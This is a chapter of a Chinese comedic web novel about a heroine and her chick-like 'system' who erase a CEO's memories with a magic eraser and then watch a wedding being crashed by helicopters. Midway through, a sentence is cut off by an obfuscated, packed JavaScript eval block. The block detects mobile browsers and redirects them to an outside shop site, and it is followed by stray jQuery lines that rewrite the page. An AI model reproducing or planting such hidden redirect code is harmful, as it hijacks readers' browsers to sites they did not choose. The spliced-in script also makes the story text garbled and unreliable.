由于系统太激动,填了地址打开门,就直接拉着人走了进去。
以至于让邵月橙踏进聂秦远房间里时,手里还握着筒没吃完的冰淇淋。
嗯......
算了。
反正也要不了一会。
本以为霸总的房间会相当奢华,但聂秦远这看起来却有点不一样。
邵月橙一路走过,看见房间中并没有过多的装饰。陈设简单,却也不失厚重感。
月光透过纱帘映在对方躺着的大床上,给男人的侧脸镀了层浅浅的银边,也削减了几分对方白日里凌厉的气息。
邵月橙缓缓走到床前,才发现对方似乎睡得并不安稳。
男人紧锁的眉间浸起了薄汗。他张嘴呢喃着,就像离水的鱼。
“救我......救......”
梦魇般的呢语卡在男人喉咙间,近乎呻吟。
邵月橙蹙了蹙眉俯下身,犹豫着要不要帮帮人。
正想回头问系统有没有法子时,她的手腕就被人握住了。惊吓中被牵动了伤口的邵月橙,下意识跌坐在了床沿边。
要死。
被抓包了。
她垂着脑袋不敢动,闭着眼安静等待聂秦远冷厉的质问。
结果冷厉的质问没等到,倒是等来了系统的一句:[我靠......]
“?”
邵月橙悄咪咪睁开条眼缝抬头往床上瞄去,于是就看到了——
“我靠!”她瘫坐在床上,人都是傻的。
该怎么形容这个画面呢。
冰淇淋筒倒扣在了男人的唇上,奶油流了对方满嘴满衣领。
聂秦远把着邵月橙的手,嘴唇还无意识地轻嘬轻咽着。男人眉宇渐展,睡得很安详。
“................”
房间里凉飕飕的。
只有过堂风撩得纱帘沙沙作响。
接近两分钟的死寂后,系统憋不住了。
[他缺m......]小鸡仔惊得瞌睡都没了,死活都说不出这个“妈”字来。
只能嘴打瓢,改成了,[......爱?]
邵月橙脸绿叽叽的,很想暴起揍人。
但碍于现在这个诡异的气氛和尴尬的处境,她决定先忍一忍。
“给他搞点什么安神的东西来,”邵月橙压低声音朝鸡仔挤眉弄眼,示意自己手抽不出,“早弄早收工。”
系统在宿主的死亡凝视下,安静点上安神香,邵月橙这才得以成功把手抽了出来。
她现在一刻都不想多待。
扔掉冰淇淋,用纸胡乱给人擦了两下嘴后,邵月橙抄起橡皮就开始擦。
一边回忆,一边擦。
可能是回忆的画面太美,她不忍看。也可能是要擦的记忆有点多。
反正一分钟内,邵月橙上下使劲的手就没停过。
橡皮都被她生生撮小了一半,掉了人一脸屑。
等邵月橙把该擦的画面都擦完,再睁眼看时。
哦豁。
给人额前擦出了一抹太阳红,瞬感佛光乍现。
她低头给人把橡皮屑吹开,上手摸了摸--
嘶。
还烫。
邵月橙挠了挠脸:“好像下手重了点......”
小鸡仔也挠了挠脸:[......红印而已,明早应该会消的吧。]
做贼心虚的一人一鸡对视一眼,默契选择用任意门光速离开了房间。
.
翌日清晨,聂秦远被管家王伯的敲门声叫醒:“少爷,已经给您备好早膳了......”
他昨晚睡得还不错,至少没做噩梦。就是额头有点不舒服。
聂秦远摸着有些发痛的脑门起身去开门,结果对上了王伯一张错愕中还带着点欲言又止的脸。
“怎么了?”聂秦远蹙了下眉,沉声问。
王伯一秒敛眸颔首,站得笔直。态度恭敬地试探着问:“少爷......您今日的早膳需不需要我再去加一道甜品?”
聂秦远眉头蹙得更紧了,还有点扯得痛。
他心中疑惑,想照镜子看个究竟,便随口答道:“不用,照旧。”
“是。”王伯得了指令下楼,步履中多少带了点受到冲击后的发虚。
聂秦远关上门走去卫生间,半路上余光却瞥见了垃圾桶里躺着的那个完全融化了的冰淇淋筒。
他迈出的脚步一顿,脑子里感觉有点一片空白。
等他板着脸走到洗漱台前看清镜中的自己时,那些“死去”的记忆才重新活了过来。
先不说他满身奶味,一下巴的冰淇淋干痕。
光看他那红彤彤,还微微肿起的额头,就够让人浮想联翩的了。
他一个能在商界呼风唤雨,被人称作“活阎罗”的聂少。如今一身奶味,满嘴冰淇淋,额头上还顶着个老大的显眼包。
最关键的是,他那些“死去”的记忆画面在一遍遍告诉他。
他昨晚偷吃冰淇淋了。
还为了不被佣人们发现他偷吃,东躲西藏间把额头撞起好大个包。
这换谁,谁都要对着这种事实自闭的。
更何况一大早,还被王伯撞见了去。
聂秦远额角发抽,但抽了又痛。痛了还忍不住继续抽。
胸口憋了股无名火没地发,气得他够呛。连带着整个庄园的气温都低了好几度。
.
邵月橙打了个喷嚏,揉着鼻子从床上坐起。
想起昨天的事,她把还半梦半醒的系统薅出来问:“你说那些被我擦掉的记忆,会被什么填充进去?”
小鸡仔难得睡挺好,闻言懒叽叽扒着邵月橙手指咕哝道:[没试过,但说明书上写会很自然。]
邵月橙一听,也放下心来,重新躺回了被窝里。
“再睡个回笼觉吧,难得不上班......”她蹭着枕头越说越困。
小鸡仔点头赞同,眼睛眯眯地重新飞回小窝里继续享受起大好的周末时光来。
但担心邵月橙白天睡太多,晚上继续熬夜。
小鸡仔还勤勤恳恳定了闹钟把睡到中午的人叫醒,两人闲来无事做了顿中晚饭,吃得相当满足。
以至于第二天赶去婚礼现场时,精神状态都是很饱满的。
沈墨温家境寻常,但给阮言的,却是最好的。
两人的婚礼场地选在了本市一个高端的花园城里,办的是纯户外式的婚礼。
和风细细中,树间坠着的小彩球叮铃作响。给人一种童话般的梦幻感。
邵月橙拎着朴实却用心的伴手礼喜盒,悄悄送上了一声长叹。
默默心疼男二一秒。
唉。
这场地钱白花了。
叹完,她才猛地想起
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586691|205302||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个事。
“嗯?我伴手礼呢?!!”邵月橙表情凝固,如遭雷击。
小鸡仔停在她拎着的喜盒上,踏了踏脚:[这不在这吗?]
邵月橙抓着脑袋,笑得面无表情:“顾董的秘书不说会把东西送我府上吗?!”
[啊?!你是说那些高档香水啊!]小鸡仔恍然,摊摊肩道,[人家送去聂秦远府上了。]
[前天你用记忆橡皮擦时,我扫描了下聂秦远的庄园。]小鸡仔顿了一下,一言难尽道,[瞄到它们都被堆在了杂物间的旮旯里。]
邵月橙抱着头,再遭雷击。
她的高档伴手礼,被堆在了犄角旮旯里......
邵月橙僵在原地,无法接受这么残酷的现实。
找他去要吗?
万一人家不给怎么办?!
就这么算啦??
那不行,她岂不是要亏大了?!!
邵月橙左右脑吵架,吵得她脑瓜子嗡嗡的。
系统也听晕了,麻木道:[要不你接了今天这单兼职。]
[如果掉的是现金,你不就不亏了。]它徐徐劝道。
邵月橙眼睛亮了一下,脑子里瞬间停了争吵。
好像有点子道理。
她正犹豫着,便听到主台上响起了主持人的声音:“尊敬的各位来宾,本场婚礼马上就要开始了。请大家尽快入座......”
邵月橙敛了敛心神,快速入场后,找了个相对僻静的位置坐下。
婚礼很快便开始了。
在主持人的推动下,当她看到身着一席黑色西装笑容温和的沈墨温,正牵着身穿白色婚纱笑容恬静的阮言上台宣誓时。
邵月橙心里是感慨的。
多正常的男二啊,有情有义有脑子。
不比那个不是在失忆,就是在失忆路上的霸总强啊!
也不知道作者咋想的,就这么喜欢各种霸总。
还有。
怎么每次都要在婚礼现场搞出名场面。
要抢你婚前抢啊。
非得浪费这办酒的冤枉钱。
她正胡思乱想着,地就开始震动起来。
树摇不止。
连铺在地上的星星月亮,都乱弹乱跳起来。
螺旋桨的轰鸣声渐近。大炮包围花园间,草坪上空盘旋着无数直升机。
宾客们尖叫着四散奔逃。
邵月橙猛地站起来看,结果被对准自己的一溜大炮吓得重新又瘫回了椅子里。
“太癫了,”她扒着又要向上立起的头发,无语喃喃,“这都没人管......”
小鸡仔用爪子抠住邵月橙的衣服,护着脑袋上的那撮小呆毛扯起嗓子喊道:[所以我们店里提前给你备了炮弹坦克那些嘛。]
邵月橙面无表情地笑了一下,侧眸干巴巴问:“作用是......破坏人类和平?”
系统一秒被噎,默默不语。
两人几句话间,傅行予已经从降落的直升机上跳下,大步走上了台。
他冷冷道:“这种无聊的戏码,该结束了。”
男人五官深邃,身材高大。即使眉宇间裹着几分薄怒,却依旧难掩他看向女主时的深情。
好看是挺好看的,就是——
邵月橙摇头惊叹,表情拒绝。
我天!
好癫的出场方式,好尬的台词。